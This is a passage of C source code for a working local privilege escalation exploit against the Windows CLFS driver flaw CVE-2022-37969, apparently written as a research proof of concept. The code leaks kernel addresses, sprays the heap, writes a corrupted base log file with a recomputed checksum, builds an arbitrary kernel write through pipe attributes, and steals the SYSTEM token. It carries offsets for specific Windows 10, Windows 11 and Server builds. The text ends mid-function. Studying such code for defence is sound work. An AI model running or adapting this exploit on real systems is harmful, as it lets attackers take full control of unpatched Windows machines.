// // Understanding the CVE-2022-37969 Windows Common Log File System Driver Local Privilege Escalation.  // Authors: Ricardo.Narvaja@fortra.com Esteban.kazimirow@fortra.com // #pragma warning (disable : 4005) #include #include #include #include #include #include #include #include "ntos.h" #include "crc32.h" #pragma comment(lib, "ntdll.lib") #pragma comment(lib, "Clfsw32.lib") /* Windows Server 2016 Standard ------> Windows Server 2019 Standard ------> 17763 token offset: 0x4b8 Windows Server 2022 Standard ------> 20348 token offset: 0x4b8 Windows 10 Pro Version 21H1 -------> 19041 19043 offset: 0x4b8 Windows 10 Pro Version 21H2 -------> 19041 offset: 0x4b8 Windows 11 Pro Version 21H2 -------> 22000 token offset: 0x4b8 */ // // NT syscalls // #define SystemModuleInformation 0xb #define SystemHandleInformation 0x10 typedef struct _SYSTEM_BIGPOOL_ENTRY { union { PVOID VirtualAddress; ULONG_PTR NonPaged : 1; }; SIZE_T SizeInBytes; union { UCHAR Tag[4]; ULONG TagUlong; }; } SYSTEM_BIGPOOL_ENTRY, * PSYSTEM_BIGPOOL_ENTRY; typedef struct _SYSTEM_BIGPOOL_INFORMATION { ULONG Count; SYSTEM_BIGPOOL_ENTRY AllocatedInfo[1]; } SYSTEM_BIGPOOL_INFORMATION, * PSYSTEM_BIGPOOL_INFORMATION; typedef NTSTATUS(WINAPI* _NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG); typedef NTSTATUS(NTAPI* _NtWriteVirtualMemory)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T); _NtQuerySystemInformation fnNtQuerySystemInformation = NULL; _NtWriteVirtualMemory fnNtWriteVirtualMemory = NULL; // // Leaked addresses // DWORD64 g_EProcessAddress = 0; DWORD64 g_EThreadAddress = 0; DWORD64 g_TokenAddress, my_pidEprocess = 0; // // Version dependent offsets // #define OFFSET_OF_PREVIOUS_MODE 0x232 #define OFFSET_OF_WIN32PROCESS 0x3b0 #define OFFSET_OF_SEP_TOKEN_PRIVILEGES 0x40 #define OFFSET_OF_DCOMPOSITIONPROCESS 0x100 // // CInteractionTrackerMarshaler object offsets // #define OFFSET_OF_FUNCTION 0x50 #define OBJECT_SIZE 0x1a0 typedef NTSTATUS func(HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK, ULONG, PVOID, ULONG, PVOID, ULONG); // Global Variables IO_STATUS_BLOCK v30; IO_STATUS_BLOCK v31; UINT64 offset_SeSetAccess = 0; func* _NtFsControlFile; UINT64 fnSeSetAccessStateGenericMapping = 0; UINT64 offset_ClfsEarlier = 0; UINT64 fnClfsEarlierLsn = 0; CHAR clfs_path[] = { "\\SystemRoot\\System32\\drivers\\CLFS.SYS" }; FARPROC v22b = NULL; UINT64 ntos_kernelBase = NULL; UINT64 clfs_kernelBase = NULL; WCHAR* stored_env_xfname = { 0 }; UINT64 v14 = 0; UINT64 v15 = 0; WCHAR* stored_env_containerfname = { 0 }; WCHAR* stored_env_containerfname2 = { 0 }; WCHAR* stored_env_containerfname3 = { 0 }; DWORD* hReadPipe[2] = { 0 }; UINT64 System_token_value = 0; int numread; #define NUMELEM 0x7a00 char buff[0x7a00]; INT64 v22 = 0; INT64 v23 = 0; INT64 v26 = 0; INT64 v24 = 0; INT64 v31b = 0; INT64 v32 = 0; UINT num_of_CLFS = 0; PUINT p_num_of_CLFS = &num_of_CLFS; // number of CLFS tags CHAR tag[] = { "Clfs" }; PUINT64 v10 = 0; // Offset of last field virtual address int v9 = 0; // stores the amount of bigpool clfs tags WCHAR* stored_env_fname; DWORD _pid = 0; DWORD pid_to_find = 0; int token_offset = 0; LONGLONG token_value = 0; int winversion = 0; WCHAR* stored_env_open; WCHAR* foldr = nullptr; DWORDLONG system_EPROCESS = 0; PUINT64 kernelAddrArray = 0; HANDLE hProcess = NULL; HANDLE hThread = NULL; HANDLE hToken = NULL; HMODULE user32 = NULL; int flag = 0; int flag2 = 0; UINT64 dest2 = 0; UINT64 dest3 = 0; UINT64 value2 = 0; UINT64* value3 = 0; UINT64 next_token; // Get OS version to get TOKEN offsets int getOSversion() { char buff[100]; HKEY hKey; DWORD cType; wchar_t lpData[1024] = { 0 }; DWORD buffersize = sizeof(lpData); int tokenOffset = 0; memset(buff, 0, sizeof(buff)); // clear buffer if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"), NULL, KEY_READ, &hKey) == ERROR_SUCCESS) { printf("[+] Registry key Opened successfully\n"); } else { printf("[!] Failed to open reg key: %s\n", GetLastError()); exit(1); } RegQueryValueExW(hKey, TEXT(L"CurrentBuild"), NULL, &cType, (LPBYTE)lpData, &buffersize); RegCloseKey(hKey); // convert unicode to ansi WideCharToMultiByte(CP_UTF8, 0, lpData, -1, (LPSTR)buff, 0x80, 0, 0); // convert string to int winversion = atoi(buff); wprintf(L"[+] Windows Build Number: %i\n", winversion); // check if versions are supported if (winversion >= 17763 && winversion <= 22000) { token_offset = 0x4b8; // store the token offset } else { printf("[!] Version %d not supported. Exiting...\n", winversion); } return 0; } SIZE_T GetObjectKernelAddress(HANDLE Object) { PSYSTEM_HANDLE_INFORMATION_EX handleInfo = NULL; ULONG handleInfoSize = 0x1000; ULONG retLength; NTSTATUS status; SIZE_T kernelAddress = 0; BOOL bFind = FALSE; while (TRUE) { handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize); status = fnNtQuerySystemInformation(SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength); if (status == 0xC0000004 || NT_SUCCESS(status)) // STATUS_INFO_LENGTH_MISMATCH { LocalFree(handleInfo); handleInfoSize = retLength + 0x100; handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize); status = fnNtQuerySystemInformation(SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength); if (NT_SUCCESS(status)) { for (ULONG i = 0; i < handleInfo->NumberOfHandles; i++) { if ((USHORT)Object == 0x4) { if (0x4 == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)Object == (SIZE_T)handleInfo->Handles[i].HandleValue) { kernelAddress = (SIZE_T)handleInfo->Handles[i].Object; bFind = TRUE; break; } } else { if (GetCurrentProcessId() == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)Object == (SIZE_T)handleInfo->Handles[i].HandleValue) { kernelAddress = (SIZE_T)handleInfo->Handles[i].Object; bFind = TRUE; break; } } } } } if (handleInfo) LocalFree(handleInfo); if (bFind) break; } return kernelAddress; } VOID InitEnvironment() { // // Resolve NT syscalls // fnNtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQuerySystemInformation"); DuplicateHandle(GetCurrentProcess(), GetCurrentProcess(), GetCurrentProcess(), &hProcess, 0, FALSE, DUPLICATE_SAME_ACCESS); // printf("[+] HPROCESS %p\n", hProcess); g_EProcessAddress = GetObjectKernelAddress(hProcess); printf("[+] MY EPROCESSS %p\n", g_EProcessAddress); system_EPROCESS = GetObjectKernelAddress((HANDLE)4); printf("[+] SYSTEM EPROCESSS %p\n", system_EPROCESS); return; } int checkAccessToken() { int v8 = 0; // todavia no se que es PHANDLE TokenHandle = 0; // int savedHprocess = 0; NTSTATUS status2; ULONG size2; NTSTATUS status3; UINT64 v11 = 0; PUINT v12 = 0; user32 = LoadLibraryW(L"user32.dll"); int currentpid = GetCurrentProcessId(); hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, 0, currentpid); if (!hProcess) { printf("[!] OpenProcess failed with error %d\n", GetLastError()); } printf("[+] hProcess: 0x%x\n", hProcess); savedHprocess = (UINT)hProcess; if (!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hProcess)) { printf("[!] OpenProcessToken failed with error %d\n", GetLastError()); return 0; } TokenHandle = &hProcess; printf("[+] Token handle: 0x%x\n", TokenHandle); VOID* v10 = malloc(0x20); if (!v10) { exit(1); } status2 = fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, v10, 32, &size2); if (!*(PUINT)v10) { exit(1); } if (status2 == 0xC0000004 || NT_SUCCESS(status2)) // STATUS_INFO_LENGTH_MISMATCH { LocalFree(v10); v10 = malloc(size2); printf("[+] Structure Address %p\n", v10); status3 = fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, v10, size2, &size2); printf("[+] Number of Handles: 0x%x\n", *(PULONG)v10); } v12 = (PUINT)v10 + 3; printf("[+] Direccion: 0x%p pid: %x\n", (v12 - 1), *(v12 - 1)); while (*(v12 - 1) != GetCurrentProcessId() || *(BYTE*)v12 != 5 || *(PUINT16)TokenHandle != *(PUINT16)((PCHAR)v12 + 2)) { // printf("pasada %d\n", v11); v11++; v12 = (PUINT)v12 + 6; // printf("v12 = %p\n", v12); if (v11 >= *(PUINT)v10) { printf("[+] Termino\n"); break; } } printf("[+] Valor: %x\n", *(PUINT16)v12); printf("[+] Salida del while\n"); return 0; } int createInitialLogFile() { WCHAR* foldr = nullptr; size_t sz = 0; if (_wdupenv_s(&foldr, &sz, L"PUBLIC") == 0 && foldr != nullptr) { printf("[+] Variable = %ls\n", foldr); // free(foldr); } WCHAR* tmp_env = (WCHAR*)malloc(0x1000); WCHAR* stored_env = tmp_env; // where Public environment variable is stored memset(tmp_env, 0, 0x1000); // wsprintfW(stored_env, L"%s", foldr); // C:\Users\Public // printf("variable 1 stored_env unicode: %ls\n", stored_env); WCHAR* tmp_env2 = (WCHAR*)malloc(0x1000); WCHAR* stored_env_log = tmp_env2; // where Public environment variable is stored memset(tmp_env2, 0, 0x1000); wsprintfW(stored_env_log, L"LOG:%s", stored_env); //// printf("variable 2 stored_env_log unicode + log: %ls\n", stored_env_log); //LOG:C:\Users\Public WCHAR* tmp_env3 = (WCHAR*)malloc(0x1000); stored_env_fname = tmp_env3; // where Public environment variable is stored memset(tmp_env3, 0, 0x1000); wsprintfW(stored_env_fname, L"%s\\MyLog", stored_env_log); //// printf("variable 3 stored_env_fname unicode fname: %ls\n", stored_env_fname); // LOG:C:\Users\Public\MyLog WCHAR* tmp_env4 = (WCHAR*)malloc(0x1000); stored_env_open = tmp_env4; // where Public environment variable is stored memset(tmp_env4, 0, 0x1000); wsprintfW(stored_env_open, L"%s\\MyLog.blf", stored_env); // C:\Users\Public\MyLog.blf // printf("variable 4 stored_env_open unicode: %ls\n", stored_env_open); WCHAR* tmp_env5 = (WCHAR*)malloc(0x1000); stored_env_xfname = tmp_env5; // where Public environment variable is stored memset(tmp_env5, 0, 0x1000); wsprintfW(stored_env_xfname, L"%s\\MyLxg", stored_env_log); // printf("variable 5 stored_env_fname unicode xfname: %ls\n", stored_env_xfname); // LOG:C:\Users\Public\MyLxg WCHAR* tmp_env6 = (WCHAR*)malloc(0x1000); WCHAR* tmp_env7 = (WCHAR*)malloc(0x1000); WCHAR* tmp_env8 = (WCHAR*)malloc(0x1000); stored_env_containerfname = tmp_env6; // where Public environment variable is stored memset(tmp_env6, 0, 0x1000); stored_env_containerfname2 = tmp_env7; // where Public environment variable is stored memset(tmp_env6, 0, 0x1000); stored_env_containerfname3 = tmp_env8; // where Public environment variable is stored memset(tmp_env6, 0, 0x1000); srand(time(NULL)); int v56 = rand(); printf("random part name of the container %d\n", v56); wsprintfW(stored_env_containerfname, L"%s\\.container_1%d", stored_env, v56); wsprintfW(stored_env_containerfname2, L"%s\\.container_1%d", stored_env, (v56+1)); wsprintfW(stored_env_containerfname3, L"%s\\.container_1%d", stored_env, (v56 + 2)); // printf("variable 6 stored_env_containerfname unicode: %ls\n", stored_env_containerfname);// C:\\Users\\Public\\.container_1%d" + nro random // getchar(); // 1. Create a base log file MyLog.blf in the folder C:\Users\Public\ via the CreateLogFile API HANDLE logFile = CreateLogFile(stored_env_fname, GENERIC_READ | GENERIC_WRITE, 1, 0, 4, 0); if (logFile == (HANDLE)-1) { DWORD error = GetLastError(); // printf("Could not create log file, error: 0x%x\n", error); exit(-1); } printf("[+] Log file created with handle --> 0x%x\n", logFile); CloseHandle(logFile); //getchar(); return 0; } // SystemBigPoolInformation int getBigPoolInfo(PUINT64 _a2) { UINT64 v7 = 0; UINT v8 = 0; // counter UINT64 v11 = 0; ULONG retlen = 0; PUINT64 v15 = 0; ULONG v4 = 0; DWORD* v5; UINT v6 = 0; DWORD* v3 = (DWORD*)VirtualAlloc(0, 0x1000, 0x1000, 4); if (fnNtQuerySystemInformation(SystemBigPoolInformation, v3, 0x1000, &retlen) == 0xC0000004) { while (1) { VirtualFree(v3, 0, 0x8000); v4 = retlen; v5 = (DWORD*)VirtualAlloc(0, (SIZE_T)retlen, 0x1000, 4); v3 = v5; if (!v5) { printf("[+] Error Allocating Memory\n"); break; } if (fnNtQuerySystemInformation(SystemBigPoolInformation, v5, v4, &retlen) != 0xC0000004) { goto label_4; } else { break; } } //printf("[+] Error Allocating Memory\n"); } else { label_4: v6 = (UINT) * (PUINT)v3; // v6 is the field count on the SYSTEM_BIGPOOL_INFORMATION // printf("[+] Field Count --> %x\n", v6); if (flag2 == 0) { kernelAddrArray = (PUINT64)malloc(v6 * 8); printf("Kernel addresss array %p", kernelAddrArray); memset(kernelAddrArray, 0, (v6 * 8)); flag2++; } if (v6) { v9 = *p_num_of_CLFS; v10 = (PUINT64)&v3[4 * v6 - 4 + 2 * v6]; // printf("[+] LAST SYSTEM BIG POOL ENTRY OFFSET --> %p\n", v10); // offset to the last SYSTEM_BIGPOOL_ENTRY do { v11 = *v10 & 0xFFFFFFFFFFFFFFFE; // printf("[+] First field value of BIG POOL ENTRY structure, named Virtual Address --> %p\n", v11); if ((*v10 & 1) == 0) { v11 = *v10; } if (v10[1] == 0x7a00) // search for the clfs base log file size { UINT v12 = 0; while (1) { CHAR v13 = tag[v12++]; if (v13 != *((BYTE*)v10 + v12 + 15)) { break; } if (v12 == 5) // tag Clfs found ! { UINT v14 = 0; if (v9 <= 0) { label_16: UINT v16 = v9++; kernelAddrArray[v16] = v11; if (_a2) { ++v8; *_a2 = v11; } } else { v15 = kernelAddrArray; while (*v15 != v11) { ++v14; ++v15; if (v14 >= v9) { goto label_16; } } } break; } } } ++v7; v10 -= 3; // back 0x18 to previous System Big Pool Entry to find the 0x7a00 } while (v7 < v6); // it compares the counter against the field count of SYSTEM_BIGPOOL_INFORMATION *p_num_of_CLFS = v9; } //printf("[+] Variables: v8 = %x v9 = %x\n", v8, v9); //printf("[+] Kernel Addresses array --> %p\n", kernelAddrArray); if (_a2 && v8 == 0) { printf("[+] Not found available chunk\n"); exit(1); } VirtualFree(v3, 0, 0x8000); } return 0; } VOID GetOffsetBetweenPools() { UINT64 a2 = 0; PUINT64 p_a2 = &a2; WCHAR* buf = (WCHAR*)malloc(0x1000); do { while (1) { while (1) { do { HANDLE logFile1; do { v26 = v24; memset(buf, 0, 0x1000); unsigned int rnum = rand(); wsprintfW((LPWSTR)buf, L"%s_%d", stored_env_fname, rnum); logFile1 = CreateLogFile((LPWSTR)buf, 0xc0010000, 3, 0, 4, 0); } while (logFile1 == (HANDLE)-1); int* handleArray = (INT*)malloc(4); *handleArray = (INT)logFile1; getBigPoolInfo(p_a2); // SystemBigPoolInformation // printf("[+] Last BigPoolAddress of Clfs tag --> %p\n [+]Total Clfs tags --> 0x%x\n", a2, num_of_CLFS); v24 = p_a2[0]; } while (!v26); v31b = p_a2[0] - v26; v32 = v26 - p_a2[0]; if (v31b > 0) { v32 = v31b; } //printf("[+] Distancia --> %x\n", v32); if (v23) break; v23 = v32; } if (v23 == v32) break; v22 = 0; v23 = v32; } ++v22; } while (v22 < 5); // printf("[+] v22 --> %p\n", v22); return; } VOID craftFile() { FILE* pfile; char checkSum[] = { 0x00, 0x00, 0x00, 0x00 }; // {0x59, 0xdf, 0x44, 0x06}; // offset 0x80c char signaturOffset[] = { 0x50, 0x00, 0x00, 0x00 }; // offset 0x868 char ccoffsetArray[] = { 0x30, 0x1b, 0x00, 0x00 }; // offset 0x9a8 char cbsymbolZone[] = { 0x4b, 0x11, 0x01, 0x00 }; // offset 0x1b98 char blockNameoffset[] = { 0xb8, 0x1b, 0x00, 0x00 }; // offset 0x2390 char blockAtributeoffset[] = { 0x30, 0x1b, 0x00, 0x00 }; // offset 0x2394 char fakeClientcontext[] = { 0x07, 0xf0, 0xfd, 0xc1, 0x88 }; // offset 0x23a0 char fakeClientcontext2[] = { 0x01, 0x00, 0x00, 0x00 }; // offset 0x23ab char fakeClientcontext3[] = { 0x20, 0x00, 0x00, 0x00 }; // offset 0x2418 _wfopen_s(&pfile, stored_env_open, L"r+"); if (pfile == 0) { printf("Cant't open file, error %x\n", GetLastError()); // getchar(); exit(1); } printf("[+] file successfully opened\n"); fseek(pfile, 0x80c, SEEK_SET); fwrite(checkSum, sizeof(char), sizeof(checkSum), pfile); fseek(pfile, 0x868, SEEK_SET); fwrite(signaturOffset, sizeof(char), sizeof(signaturOffset), pfile); fseek(pfile, 0x9a8, SEEK_SET); fwrite(ccoffsetArray, sizeof(char), sizeof(ccoffsetArray), pfile); fseek(pfile, 0x1b98, SEEK_SET); fwrite(cbsymbolZone, sizeof(char), sizeof(cbsymbolZone), pfile); fseek(pfile, 0x2390, SEEK_SET); fwrite(blockNameoffset, sizeof(char), sizeof(blockNameoffset), pfile); fseek(pfile, 0x2394, SEEK_SET); fwrite(blockAtributeoffset, sizeof(char), sizeof(blockAtributeoffset), pfile); fseek(pfile, 0x23a0, SEEK_SET); fwrite(fakeClientcontext, sizeof(char), sizeof(fakeClientcontext), pfile); fseek(pfile, 0x23ab, SEEK_SET); fwrite(fakeClientcontext2, sizeof(char), sizeof(fakeClientcontext2), pfile); fseek(pfile, 0x2418, SEEK_SET); fwrite(fakeClientcontext3, sizeof(char), sizeof(fakeClientcontext3), pfile); fclose(pfile); printf("[+] Archivo modificado !\n"); return; } int crcCalculatorAndFix() { uint32_t table[256]; crc32::generate_table(table); // Struct, for piece-by-piece, bytewise struct DataStruct { uint16_t data1; uint16_t data2; float mypi; uint32_t myclock; bool begun; }; #define SIZE 1 FILE* fd = NULL; memset(buff, 0, sizeof(buff)); _wfopen_s(&fd, stored_env_open, L"rb"); fseek(fd, 0x800, SEEK_SET); numread = fread(buff, SIZE, NUMELEM, fd); fclose(fd); *((DWORD*)(buff + 0xc)) = 0; // printf("NUMBER OF BYTES READ= %x\n", numread); if (numread != NUMELEM) { // printf("\n fread() failed\n"); return 1; } char* ptr = (char*)&buff; uint16_t slen = sizeof(buff); // printf("Size of Data struct is: %x\n", slen); // 16 bytes uint32_t CRC = 0; for (int cnt = 0; cnt < slen; cnt++) { CRC = crc32::update(table, CRC, ptr, 1); ptr++; } // printf("Piece-wise crc32 of struct Data is: 0x%X \n", CRC); // 0x6A8E18CE _wfopen_s(&fd, stored_env_open, L"r+"); fseek(fd, 0x80c, SEEK_SET); fwrite(&CRC, 1, 4, fd); fclose(fd); return 1; } int doHeapSpray() { UINT64 alloc00 = 0x5000000; UINT64 alloc01 = 0x10000; if (!VirtualAlloc((LPVOID)alloc00, 0x100000, 0x3000, 4)) { printf("[-] Failed to allocate memory\n"); return 0; } if (!VirtualAlloc((LPVOID)0x10000, 0x1000000, 0x3000, 4)) { DWORD lastError = GetLastError(); printf("[-] Failed to allocate memory at address 0x1000\n"); return 0; } for (int i = 0; i < 0x1000000; i += 0x10) *(UINT64*)(i + 0x10000) = 0x5000000; printf("[+] Successful allocated at 0x10000\n"); // getchar(); return 0; } VOID FindKernelModulesBase() { UINT64 retval = 0; HANDLE hHeap = GetProcessHeap(); LPVOID lpHeapBuffer = HeapAlloc(hHeap, 0, 0x2000); DWORD dwBytesReturned = 0; if (!lpHeapBuffer) { return; } NTSTATUS status = fnNtQuerySystemInformation( (SYSTEM_INFORMATION_CLASS)SystemModuleInformation, lpHeapBuffer, 0x2000, &dwBytesReturned ); // realloc and try again // todo: add switch case for status if (!NT_SUCCESS(status)) { HeapFree(hHeap, 0, lpHeapBuffer); lpHeapBuffer = HeapAlloc(hHeap, 0, dwBytesReturned); if (!lpHeapBuffer) { return; } memset(lpHeapBuffer, 0, dwBytesReturned); status = fnNtQuerySystemInformation( (SYSTEM_INFORMATION_CLASS)SystemModuleInformation, lpHeapBuffer, dwBytesReturned, &dwBytesReturned ); if (!NT_SUCCESS(status)) { return; } } PSYSTEM_MODULE_INFORMATION psm = (PSYSTEM_MODULE_INFORMATION)lpHeapBuffer; if (psm->NumberOfModules > 0) { retval = (UINT64)psm->Modules[0].ImageBase; //HeapFree(hHeap, 0, lpHeapBuffer); ntos_kernelBase = retval; } int i = 0; for (i = 0; i < psm->NumberOfModules; i++) { if (!strncmp(clfs_path, (CHAR*)psm->Modules[i].FullPathName, strlen(clfs_path))) break; } printf("[+] Module name --> %s\n", psm->Modules[i].FullPathName); clfs_kernelBase = (UINT64)psm->Modules[i].ImageBase; return; } int pipeArbitraryWriteValues() { VOID* v9a = 0; // UINT64 v10 = 0; ULONG retlen2 = 0; DWORD* v10 = 0; v10 = (DWORD*)VirtualAlloc(0, 0x1000, 0x1000, 4); FARPROC v22a = NULL; UINT PIPE_ATTR_TAG = 0x7441704E; //printf("Please Attach me\n"); //getchar(); HMODULE nt = GetModuleHandleA("ntdll"); _NtFsControlFile = (func*)GetProcAddress(nt, "NtFsControlFile"); if (!_NtFsControlFile) exit(1); printf("[+] NtFsControlFile Address --> %p\n", _NtFsControlFile); if (CreatePipe((PHANDLE)&hReadPipe[1], (PHANDLE)&hReadPipe[0], 0, 0x1000)) { printf("[+] hReadPipe --> %x\n[+] hWritePipe --> %x\n", hReadPipe[1], hReadPipe[0]); v9a = _malloc_base(0x2000); memset((UINT64*)v9a + 1, 0x41, 0xffe); *(UINT64*)v9a = 0x5a; // "Z" VOID* dest = malloc(0x100); memset(dest, 0x42, 0xff); _NtFsControlFile(hReadPipe[0], 0, 0, 0, &v30, 0x11003c, v9a, 0xfd8, dest, 0x100); fnNtQuerySystemInformation(SystemBigPoolInformation, v10, 0x1000, &retlen2); DWORD* v5a = (DWORD*)VirtualAlloc(0, (SIZE_T)retlen2, 0x1000, 4); // fnNtQuerySystemInformation(SystemBigPoolInformation, v5a, retlen2, &retlen2); // find Attribute Tag inside the Pool NTSTATUS status = STATUS_SUCCESS; if (NT_SUCCESS(status = fnNtQuerySystemInformation(SystemBigPoolInformation, v5a, retlen2, &retlen2))) { PSYSTEM_BIGPOOL_INFORMATION pBuf = (PSYSTEM_BIGPOOL_INFORMATION)(v5a); for (ULONG i = 0; i < pBuf->Count; i++) { __try { if (pBuf->AllocatedInfo[i].TagUlong == PIPE_ATTR_TAG) { printf("[+] VirtualAddress -->%p\n[+] Tag --> %s\n", pBuf->AllocatedInfo[i].VirtualAddress, &pBuf->AllocatedInfo[i].TagUlong); v30.Pointer = pBuf->AllocatedInfo[i].VirtualAddress; break; } } __except (EXCEPTION_EXECUTE_HANDLER) { printf("(%s) Access Violation was raised.", __FUNCTION__); } } } printf("[+] SystemEprocess --> %p\n", system_EPROCESS); printf("[+] v14 --> %p\n", system_EPROCESS & 0xfff); printf("[+] v15 --> %p\n", system_EPROCESS & 0xfffffffffffff000); v14 = system_EPROCESS & 0xfff; v15 = system_EPROCESS & 0xfffffffffffff000; dest2 = 0xffffffff; dest3 = 0x100000007; value2 = 0x414141414141005A; value3 = 0; value3 = &value2; if (VirtualAlloc((LPVOID)dest2, 0x100000, 0x3000, 4)) { memset((LPVOID)dest3, 0, 0xff8); *(UINT64*)dest2 = v15; CHAR* v16a = (CHAR*)v30.Pointer + 24; // this address should point to AttributeValueSize in kernel pool printf("[+] v30.Pointer --> %p\n[+] v30.Pointer+24 --> %p\n", (CHAR*)v30.Pointer, v16a); *(UINT64*)dest3 = value2; for (int i = 8; i < 0x1000000; i += 0x10) { *(UINT64*)(i + 0x10000) = (UINT64)v16a; } HMODULE CLFS_userBase = LoadLibraryExW(L"C:\\Windows\\System32\\drivers\\CLFS.SYS", 0, 1); if (CLFS_userBase) { v22b = GetProcAddress(CLFS_userBase, "ClfsEarlierLsn"); } HMODULE ntos_userBase = LoadLibraryExW(L"ntoskrnl.exe", 0, 1); if (ntos_userBase) { v22a = GetProcAddress(ntos_userBase, "SeSetAccessStateGenericMapping"); } FindKernelModulesBase(); printf("[+] NTOSKRNL base on user -------------------------> %p\n", ntos_userBase); printf("[+] NTOSKRNL base on Kernel ------------------------> %p\n", ntos_kernelBase); printf("[+] SeSetAccessStateGenericMapping user address ----> %p\n", v22a); offset_SeSetAccess = (UINT64)v22a - (UINT64)ntos_userBase; printf("[+] Offset SeSetAccessStateGenericMapping ----------> %p\n", offset_SeSetAccess); fnSeSetAccessStateGenericMapping = ntos_kernelBase + offset_SeSetAccess; printf("[+] SeSetAccessStateGenericMapping kernel address --> %p\n\n", fnSeSetAccessStateGenericMapping); printf("[+] CLFS.SYS base on user -------------------------> %p\n", CLFS_userBase); printf("[+] CLFS base on Kernel ---------------------------> %p\n", clfs_kernelBase); printf("[+] ClfsEarlierLsn user address --------------------> %p\n", v22b); offset_ClfsEarlier = (UINT64)v22b - (UINT64)CLFS_userBase; printf("[+] Offset ClfsEarlierLsn --------------------------> %p\n", offset_ClfsEarlier); fnClfsEarlierLsn = clfs_kernelBase + offset_ClfsEarlier; printf("[+] ClfsEarlierLsn kernel address ------------------> %p\n", fnClfsEarlierLsn); return 0; } } } int pipeArbitraryWrite() { HANDLE v51 = 0; if (fnClfsEarlierLsn) { *(PUINT64)(0x5000018) = fnClfsEarlierLsn; *(PUINT64)(0x5000000) = 0x123456789; *(PUINT64)(0x5000008) = fnSeSetAccessStateGenericMapping; if (flag == 1){ //Arranging the memory for second attempt *(UINT64*)dest2 = System_token_value; *(UINT64*)dest3 = next_token; UINT64 Token_address_current_minus_8 = g_EProcessAddress + 0x4b8 - 8; printf("ADDRESS of MY PROCESSS TOKEN -8= %p\n", Token_address_current_minus_8); for (int i = 8; i < 0x1000000; i += 0x10) { *(UINT64*)(i + 0x10000) = (UINT64)Token_address_current_minus_8; } *(UINT64*)(0x5000000) = 0x123456789; *(UINT64*)(0x5000018) = fnClfsEarlierLsn; *(UINT64*)(0x5000008) = fnSeSetAccessStateGenericMapping; } // printf("attach\n"); v51 = CreateLogFile(stored_env_fname, 0xC0010000, 3u, 0i64, 4, 0); // 0xc0010000 #gets a handle of MyLog.blf // printf("OK 0x%x\n", v51); srand(time(NULL)); int v53 = rand(); WCHAR* v25 = (WCHAR*)malloc(0x1000); WCHAR* v85 = v25; memset(v25, 0, 0x1000); wsprintfW(v85, L"%s_%d", stored_env_xfname, v53); /* 4. Call the CreateLogFile API to create a base log file MyLxg_xxx.blf in the folder C:\Users\Public\. */ HANDLE v55 = CreateLogFile(v85, GENERIC_READ | GENERIC_WRITE | DELETE, 3u, 0i64, 4u, 0); //gets a handle of MyLogxxx.blf printf("OK handle 55 0x%x\n", v55); if (v55 == (HANDLE)-1i64) { // printf("Choose name fail ---> Duplicate\n"); exit(1); } /* 5. Call the AddLogContainer API to add a log container for the base log file MyLxg_xxx.blf created in Step 4.*/ LONGLONG pcbContainer = 512; // int v56 = rand(); WCHAR pwszContainerPath[768] = { 0 }; WCHAR pwszContainerPath2[768] = { 0 }; WCHAR pwszContainerPath3[768] = { 0 }; if (flag == 0){ wsprintfW(pwszContainerPath, stored_env_containerfname); } else { wsprintfW(pwszContainerPath, stored_env_containerfname2); } //printf("string copiada2: %ls\n", stored_env_containerfname); printf("pwszContainerPath: %ls\n", pwszContainerPath); if (!AddLogContainer(v55, (PULONGLONG)&pcbContainer, pwszContainerPath, 0i64)) { CloseHandle(v55); CloseHandle(v51); // printf("AddLogContainer Fail, please delete C:\\Users\\Public\\MyLxg_xxx.blf and try again\n"); exit(1); } // printf("LOG:C:\\Users\\Public\\Mylxg_xxx AddLogContainer OK\n"); /* 7. Call the AddLogContainer API to add a log container for the base log file MyLog.blf opened in Step 3. */ pcbContainer = 512; srand(time(NULL)); UINT v56 = rand(); wsprintfW(pwszContainerPath, stored_env_containerfname); AddLogContainer(v51, (PULONGLONG)&pcbContainer, pwszContainerPath, 0i64); // Crash ! // printf("LOG:C:\\Users\\Public\\MyLog AddLogContainer OK2\n"); char v33[16] = { 0 }; char v28[4] = {}; v28[0] = 1; // printf("NtSetInformationFile address --> 0x%llx\n", _NtSetInformationFile); // printf("Calling NtSetInformationFile\n"); /* 8. Call NtSetInformationFile(v55, (PIO_STATUS_BLOCK)v33, v28, 1, (FILE_INFORMATION_CLASS)13), where the last parameter is the type of FileInformationClass. When the value is FileDispositionInformation (13), the function will delete the file when it is closed or will cancel a previously requested deletion. */ typedef NTSTATUS func(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS); func* _NtSetInformationFile = (func*)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtSetInformationFile"); NTSTATUS setresult = _NtSetInformationFile(v55, (PIO_STATUS_BLOCK)v33, v28, 1i64, (FILE_INFORMATION_CLASS)13); // printf("SetInformationFile: 0x%x\n", GetLastError()); /* 9. Call the CloseHandle API to close the handle of the base log file MyLxg_xxx.blf, to trigger this vulnerability. */ CloseHandle(v55); CloseHandle(v51); VOID* dest = malloc(0x100); memset(dest, 0x42, 0xff); void * v9b = _malloc_base(0x2000); int v29 = 90; _NtFsControlFile(hReadPipe[0], 0, 0, 0, &v30, 0x110038, &v29, 2, v9b, 0x2000); PUINT64 v27= ( PUINT64)((char*)v9b + v14 + 0x4b8); if (v27 == 0) { exit(1); }; System_token_value=*v27; next_token=v27[1]; printf("SYSTEM TOKEN VALUE= %p\n", System_token_value); if (System_token_value == 0x4141414141414141) { printf("Failed attempt try again..\n"); 